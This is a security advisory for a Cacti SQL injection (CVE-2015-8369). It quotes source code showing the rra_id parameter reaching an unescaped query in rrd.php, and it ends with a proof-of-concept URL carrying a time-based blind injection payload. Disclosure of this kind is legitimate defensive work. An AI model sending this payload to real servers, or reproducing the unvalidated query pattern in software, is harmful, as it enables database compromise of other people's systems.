[CVE-2015-8369] Cacti SQL injection in graph.php

[changzhao.mao <changzhao.mao () dbappsecurity com cn>]

Application: Cacti 
Vendor URL: http://www.cacti.net 
Bugs: SQL injection 
Author:changzhao.mao(DBAPPSecurity Ltd) 
Version affected: 0.8.8f and prior

================================
Introduction
================================

  Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate 
them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, 
Data Sources, and Round Robin Archives in a database, cacti handles the data gathering. There is also SNMP support for 
those used to creating traffic graphs with MRTG.  SQL  injection vulnerabilities has been discovered.The vulnerability 
allows any users  to execute own sql commands to compromise the web-applicaation or database management system.The 
vulnerabilities are located in the rra_id value of the graph.php file.This php file of older version cacti may be 
accessible anonymously according to the cases I found from the internet. Latest version cacti may require guest user 
privilege.

[Vulnerability info]

/cacti-0.8.8f/graph.php
line 25  include "./include/top_graph_header.php"  before validating rra_id
/* set default action */
if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = "view"; }
if (!isset($_REQUEST["view_type"])) { $_REQUEST["view_type"] = ""; }

$guest_account = true;
include("./include/auth.php");
include_once("./lib/rrd.php");

api_plugin_hook_function('graph');

include_once("./lib/html_tree.php");
include_once("./include/top_graph_header.php");

/* ================= input validation ================= */
input_validate_input_regex(get_request_var("rra_id"), "^([0-9]+|all)$");
input_validate_input_number(get_request_var("local_graph_id"));
input_validate_input_number(get_request_var("graph_end"));
input_validate_input_number(get_request_var("graph_start"));
input_validate_input_regex(get_request_var_request("view_type"), "^([a-zA-Z0-9]+)$");
/* ==================================================== */




/cacti-0.8.8f/include/top_graph_header.php 
line 30 rra_id is not validated
 
/* ================= input validation ================= */
input_validate_input_number(get_request_var_request("local_graph_id"));
input_validate_input_number(get_request_var_request("graph_start"));
input_validate_input_number(get_request_var_request("graph_end"));
/* ==================================================== */





line 158
    <?php if ((basename($_SERVER["PHP_SELF"]) == "graph.php") && ($_REQUEST["action"] == "properties")) {?>
    <tr>
        <td valign="top" class='cactiTreeNavigationArea' colspan="3">
            <?php
            $graph_data_array["print_source"] = true;

            /* override: graph start time (unix time) */
            if (!empty($_GET["graph_start"])) {
                $graph_data_array["graph_start"] = get_request_var_request("graph_start");
            }

            /* override: graph end time (unix time) */
            if (!empty($_GET["graph_end"])) {
                $graph_data_array["graph_end"] = get_request_var_request("graph_end");
            }

            print trim(@rrdtool_function_graph(get_request_var_request("local_graph_id"), 
get_request_var_request("rra_id"), $graph_data_array));
            ?>
            



\cacti-0.8.8f\lib\rrd.php function rrdtool_function_graph line 631
        $rra["timespan"] = 86400;
        }else{
            /* get a list of RRAs related to this graph */
            $rras = get_associated_rras($local_graph_id);

            if (sizeof($rras) > 0) {
                foreach ($rras as $unchosen_rra) {
                    /* the timespan specified in the RRA "timespan" field may not be accurate */
                    $real_timespan = ($ds_step * $unchosen_rra["steps"] * $unchosen_rra["rows"]);

                    /* make sure the current start/end times fit within each RRA's timespan */
                    if ( (($graph_data_array["graph_end"] - $graph_data_array["graph_start"]) <= $real_timespan) && 
((time() - $graph_data_array["graph_start"]) <= $real_timespan) ) {
                        /* is this RRA better than the already chosen one? */
                        if ((isset($rra)) && ($unchosen_rra["steps"] < $rra["steps"])) {
                            $rra = $unchosen_rra;
                        }else if (!isset($rra)) {
                            $rra = $unchosen_rra;
                        }
                    }
                }
            }

            if (!isset($rra)) {
                $rra["rows"] = 600;
                $rra["steps"] = 1;
            }
        }
    }else{
    // sql injection here 
        $rra = db_fetch_row("select timespan,rows,steps from rra where id=$rra_id");
    }

    
[Exploit]
    poc: 
http://192.168.x.x/cacti/graph.php?action=properties&local_graph_id=1&rra_id=1%20and%20benchmark(20000000%2csha1(1))--%20&view_type=&graph_start=1448274676&graph_end=1448360776

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